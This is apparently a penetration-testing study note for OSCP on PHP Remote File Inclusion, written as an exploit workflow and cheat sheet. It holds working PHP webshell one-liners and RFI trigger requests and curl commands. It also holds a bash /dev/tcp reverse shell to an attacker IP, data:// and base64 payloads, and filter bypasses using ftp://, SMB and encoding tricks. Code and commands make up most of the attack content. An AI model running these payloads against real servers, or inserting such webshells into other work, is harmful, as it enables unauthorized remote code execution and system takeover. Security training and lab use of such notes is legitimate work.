Remote File Inclusion (RFI)

Ctrl+F: allow_url_include · http:// · ftp:// · pyftpdlib · rfi.txt · data:// · RFI vs LFI

RFI tricks the app into including a file from a remote URL (your Kali box) instead of the local filesystem. If PHP executes the included file → instant RCE without log poisoning.

Pair with Local File Inclusion (LFI) — same parameters, different payload (http:// vs ../).


📌 RFI vs LFI (remember)

LFIRFI
PathLocal (/etc/passwd, ../)Remote (http://ATTACKER/shell.txt)
PHP settingWorks with allow_url_fopen=On (read)Needs allow_url_include=On (execute)
OSCP frequencyVery commonLess common but fast win when it works
Your prepLog poison, wrappersHTTP server on Kali with PHP payload
?page=home          → normal
?page=../../../etc/passwd     → LFI
?page=http://10.10.14.5/rfi.txt   → RFI

📌 Detection — how to spot RFI

Parameter hunting

Same suspects as LFI — anything that loads a file/page:

?page=   ?file=   ?path=   ?doc=   ?template=   ?include=
?lang=   ?view=   ?module=   ?pg=   ?style=   ?content=

From Initial foothold · Burp Suite Repeater — test every parameter.

Quick tests

# 1. Full URL — classic RFI
GET /index.php?page=http://ATTACKER_IP/rfi.txt HTTP/1.1
 
# 2. Confirm remote fetch (out-of-band)
GET /index.php?page=http://ATTACKER_IP:8000/probe.txt
 
# 3. If errors leak paths / "failed to open stream"
GET /index.php?page=http://invalid.test/x
 
# 4. LFI still works? Try both on same param
GET /index.php?page=../../../../etc/passwd
GET /index.php?page=http://ATTACKER_IP/rfi.txt

On Kali — watch your server logs when probing:

python3 -m http.server 8000
# Request hits log → param is fetching remote URLs ✅

Error messages that scream RFI

failed to open stream: HTTP request failed
allow_url_include is disabled
include(http://...): failed to open stream
Warning: include(): URL file-access is disabled

php.ini (if readable via LFI)

allow_url_fopen = On      # required for http:// wrapper (read)
allow_url_include = On    # required for RFI code execution

allow_url_fopen=On alone → may fetch remote content but not execute as PHP unless allow_url_include=On.


📌 Full exploit workflow (OSCP)

Step 1 — Host payload on Kali

# Attacker IP (tun0)
ip a show tun0
 
# Payload — MUST be valid PHP; .txt often works if server doesn't check extension
cat > /tmp/rfi.txt <<'EOF'
<?php system($_GET['cmd']); ?>
EOF
 
python3 -m http.server 8000 --bind 0.0.0.0

Minimal webshell variants:

<?php system($_GET['cmd']); ?>
<?php passthru($_GET['c']); ?>
<?=`$_GET[0]`?>                    # short tag — old PHP
<?php echo shell_exec($_GET['cmd']); ?>

Step 2 — Trigger RFI

GET /vulnerable.php?page=http://10.10.14.5:8000/rfi.txt&cmd=id HTTP/1.1
Host: TARGET
curl "http://TARGET/vulnerable.php?page=http://10.10.14.5:8000/rfi.txt&cmd=id"

Step 3 — Interactive shell

# Reverse shell via cmd param
curl "http://TARGET/page.php?page=http://10.10.14.5:8000/rfi.txt&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261'"
 
# Listener
rlwrap nc -lvnp 4444

Shell · Netcat · File Transfer


📌 Bypasses — when http:// is blocked

BlockBypass
http:// filteredHttp:// · hTtP:// · http://127.0.0.1@ATTACKER_IP/
:// blockedhttp:/%2F%2FATTACKER/rfi.txt · double URL-encode
../ + remote mix....//....//http://ATTACKER/rfi.txt (rare)
Extension whitelist .php onlyHost as shell.php or use ? trick: rfi.txt%00.php (PHP < 5.3)
http keyword blockedSMB/WebDAV (Windows) — see below
http:// + https:// blacklistedftp:// wrapper + pyftpdlib — see below
allow_url_include=OffPivot to Local File Inclusion (LFI) — log poison, php://input, upload chain
Only https allowedhttps://ATTACKER/rfi.txt (serve with openssl or Caddy)

Null byte (legacy PHP < 5.3)

?page=http://ATTACKER/shell.txt%00
?page=http://ATTACKER/shell.txt%00.php

Double encoding

?page=http%253A%252F%252F10.10.14.5%252Frfi.txt

data:// wrapper (include as inline — blurs LFI/RFI)

If allow_url_include=On:

?page=data://text/plain,<?php system($_GET['cmd']); ?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

Base64 decode → Base64

php://input (POST body — not RFI but same param)

curl -X POST "http://TARGET/page.php?page=php://input&cmd=id" \
  -d '<?php system($_GET["cmd"]); ?>'

Documented in Local File Inclusion (LFI) — try when RFI fails.

FTP wrapper bypass (http:// / https:// blacklisted)

Same pattern as LFI ../ filters — devs block http:// and https:// but forget other URL schemes. PHP ftp:// still fetches remote files when allow_url_include=On.

pip install pyftpdlib
 
# FTP server on Kali (anonymous by default)
python -m pyftpdlib -p 21
 
# Host shell.php in current directory (or pyftpdlib -d /tmp)
cat > shell.php <<'EOF'
<?php system($_GET['cmd']); ?>
EOF
GET /vulnerabilities/fi/?page=ftp://ATTACKER_IP/shell.php&cmd=id HTTP/1.1

Filter sees no http:// → passes. PHP connects to your FTP server, pulls shell.php, executes it — no FTP creds needed (anonymous).

# curl test
curl "http://TARGET/vulnerabilities/fi/?page=ftp://TUN0_IP/shell.php&cmd=id"

Watch pyftpdlib console for connection from target. Also try after ../ bypass on same app (Local File Inclusion (LFI)).


📌 Windows targets — SMB / WebDAV RFI

PHP on Windows may include UNC paths if allowed:

?page=\\ATTACKER_IP\share\shell.php
?page=//ATTACKER_IP/share/shell.php

On Kali:

impacket-smbserver share /tmp/payloads -smb2support
# Place shell.php in /tmp/payloads
GET /page.php?file=\\10.10.14.5\share\shell.php&cmd=whoami

WebDAV option (if enabled on attacker):

# Host WebDAV share — advanced; SMB impacket is faster on OSCP

📌 Chain with file upload

RFI + upload = reliable when allow_url_include is flaky:

  1. Upload image.jpg containing <?php system($_GET['cmd']); ?> via File Upload Bypass
  2. If upload path known but not executable directly → LFI include the upload
  3. Or host on Kali and use pure RFI if include accepts URLs
?page=http://ATTACKER/rfi.txt
?page=../../uploads/evil.jpg        # LFI chain on same param

📌 Things to remember (exam)

RuleDetail
RFI needs outbound HTTPTarget must reach your tun0 IP — firewall may block
allow_url_includeOff by default on modern PHP — always try anyway on labs
Extension doesn’t matterIncluded remote .txt can still execute as PHP
Same param as LFIIf ../ works, always try http://ATTACKER/shell.txt
Log your HTTP serverConfirms blind RFI before chasing RCE
HTTPS / portMatch what the app allows; try :8000 explicitly
http:// blockedTry ftp:// + pyftpdlib — see bypass section
Post-RFIUpgrade shell → Privilege escalation
SSRF overlapServer fetching your URL may be SSRF not RFI — still useful

📌 Detection checklist

□ Found page= / file= / path= style parameter
□ ../../../../etc/passwd works (LFI) OR PHP errors on path input
□ python3 -m http.server — see probe hit in logs
□ http://ATTACKER_IP/test.txt included or errors mention "HTTP"
□ http/https blocked → try ftp://ATTACKER_IP/shell.php + pyftpdlib -p 21
□ allow_url_include (from phpinfo / LFI read of php.ini)
□ Hosted rfi.txt with <?php system($_GET['cmd']); ?>
□ curl ...&cmd=id returns command output
□ Reverse shell / [[Shell]] upgrade

📌 Quick cheat sheet

# Kali — serve shell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/rfi.txt
python3 -m http.server 8000 --bind 0.0.0.0
 
# Trigger
curl "http://TARGET/index.php?page=http://TUN0_IP:8000/rfi.txt&cmd=id"
 
# SMB (Windows PHP)
impacket-smbserver share /tmp -smb2support
# page=\\TUN0_IP\share\rfi.txt&cmd=whoami
 
# FTP bypass (http/https blacklisted)
pip install pyftpdlib && python -m pyftpdlib -p 21
# page=ftp://TUN0_IP/shell.php&cmd=id
 
# If RFI dead → LFI path
# page=../../../../etc/passwd
# page=php://filter/convert.base64-encode/resource=config.php